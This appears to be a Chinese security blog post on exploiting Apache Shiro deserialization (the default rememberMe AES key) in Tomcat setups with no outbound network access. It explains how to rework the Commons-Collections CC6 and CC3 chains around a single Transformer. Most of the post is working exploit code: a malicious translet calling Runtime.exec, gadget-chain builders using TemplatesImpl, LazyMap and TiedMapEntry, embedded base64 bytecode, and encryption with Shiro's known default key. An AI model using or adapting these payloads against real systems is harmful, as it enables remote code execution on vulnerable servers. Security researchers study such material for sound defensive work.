目录

前言

简单思考

EXP

CC6链改

CC3链改


前言

shiro反序列化大家都很熟,出网可以打JRMP二次反序列化,但在不出网利用这个漏洞的时候,会发现我们无法在tomcat下直接利用shiro原生的commons-collections:3.2.1

归根结底一句话,就是“如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误,由于CC链用到了Transformer数组,不是Java自身的数组,导致这条链无法利用”

而CC链中,如何能避开Transformer数组的调用呢,是不用Transformer的Transform方法了吗? 那CC链还能叫CC链吗(

这里我们要关注的点并非Transformer,而是“数组”,即是,要只用一个Transformer来完成命令执行的效果,这样想来,似乎也就不再那么天马行空。

简单思考

一个执行命令的Transformer,可以是InstantiateTransformer配合TrAXFilter来啥啥啥,也可以是用InvokerTransformer来调用可以加载一个类的对象的某个sink点。

藏着掖着也没意思,大伙都猜到了,还得是我们的老朋友TemplatesImpl

我们再来回顾一下CC6,这条链的关键类TiedMapEntry ,其构造函数接受两个参数,参数1是一个Map,参数2是一个对象key。 TiedMapEntry 类有个 getValue 方法,调用了map的get方法,并传入key,当这个map是LazyMap时,其get方法就是触发transform的关键点,最终调用transform(key)

当时似乎传key的时候只要随便传个"keykey"/"valuevalue"就行,因为Transformer数组的第一个对象是ConstantTransformer,不管传什么,其返回值都是设定好的。

OK,那我们退一步,为什么要有ConstantTransformer,师傅们可能会想到“将Runtime对象传递给InvokerTransformer,作为其transform方法的参数”这种答案,这是正确的,因为ConstantTransformer扮演的正是一个对象传递者的角色。

但Shiro反序列化苛刻的条件要求我们只能使用一个Transformer,很遗憾,ConstantTransformer不能为我们所用了。

不过其精神还是在的,LazyMap#get 的参数key,会被传进transform(),它也可以平替ConstantTransformer的角色——一个最简单的对象传递者。

所以我们这次要传的key就不能那么随便了,

对于CC6,它将被指定为TemplatesImpl传入给InvokerTransformer

对于CC3,它将被指定为TrAXFilter传入给InstantiateTransformer,道理是一样的,不再解释

可以看这篇文章:Shiro反序列化结合CC3链使用 - Rainy-Autumn's blog

EXP

CC6链改

// Evil.java
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class Evil extends AbstractTranslet {
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}

    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}

    public Evil() throws Exception {
        super();
        System.out.println("Hello TemplatesImpl");
        Runtime.getRuntime().exec("calc");
    }
}
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class GenePayLoad {
    public static void setFieldValue(Object obj, String fieldName, Object newValue) throws Exception {
        Class clazz = obj.getClass();
        Field field = clazz.getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, newValue);
    }
    public static byte[] CC11_PayLoad(byte[] clazzBytes) throws Exception {
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        // 先设置成人畜无害的getClass方法,避免本地调试触发payload
        Transformer transformer = new InvokerTransformer("getClass", null, null);

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformer);

        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, obj);

        Map expMap = new HashMap();
        expMap.put(tiedMapEntry, "xxx");

        outerMap.clear();

        setFieldValue(transformer, "iMethodName", "newTransformer");

        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(expMap);
        oos.close();

        return baos.toByteArray();
    }

    public static void main(String[] args) throws Exception {
        byte[] codes = ClassPool.getDefault().get(Evil.class.getName()).toBytecode();
        AesCipherService aes = new AesCipherService();
        byte[] key =
                java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        ByteSource ciphertext = aes.encrypt(CC11_PayLoad(codes), key);
        System.out.printf(ciphertext.toString());
    }
}

CC3链改

package com.shiroTest;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class CC3 {
    public byte[] getPayload2() throws Exception{

        byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAhTGNvbS9UZW1wbGFzdGVzSW1wbFRlc3QvY29kZVRlc3Q7AQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHACUBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEABjxpbml0PgEAAygpVgcAJgEAClNvdXJjZUZpbGUBAA1jb2RlVGVzdC5qYXZhDAAZABoHACcMACgAKQEABGNhbGMMACoAKwEAH2NvbS9UZW1wbGFzdGVzSW1wbFRlc3QvY29kZVRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAPwAAAAMAAAABsQAAAAIACgAAAAYAAQAAABEACwAAACAAAwAAAAEADAANAAAAAAABAA4ADwABAAAAAQAQABEAAgASAAAABAABABMAAQAHABQAAgAJAAAASQAAAAQAAAABsQAAAAIACgAAAAYAAQAAABYACwAAACoABAAAAAEADAANAAAAAAABAA4ADwABAAAAAQAVABYAAgAAAAEAFwAYAAMAEgAAAAQAAQATAAEAGQAaAAIACQAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgAKAAAADgADAAAAGAAEABkADQAaAAsAAAAMAAEAAAAOAAwADQAAABIAAAAEAAEAGwABABwAAAACAB0=");
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates,"_bytecodes",new byte[][]{bytes});
        setFieldValue(templates,"_name","dwa");
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

        Transformer transformers = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
        HashMap<Object, Object> map = new HashMap<>();
        Map<Object,Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));
        //第一个参数的map
        // get方法中调用的是map.get
        // 目的是调用lazyMap中的get方法 所以第一个参数是lazyMap
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter"));
        HashMap<Object, Object> map2 = new HashMap<>();
        //hashMap的readObject时会调用hash方法
        // 然后key.hashCode() 会调用key的hashCode方法  key的值为tiedMapEntry
        //调用tiedMapEntry的hashCode然后待用getValue方法 然后调用get方法
        map2.put(tiedMapEntry, "sss");
        lazymap.remove(Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter"));
        Class c = LazyMap.class;
        Field factoryField = c.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(lazymap,transformers);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
        objectOutputStream.writeObject(map2);
        objectOutputStream.close();
        return barr.toByteArray();
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}
03-05 08:41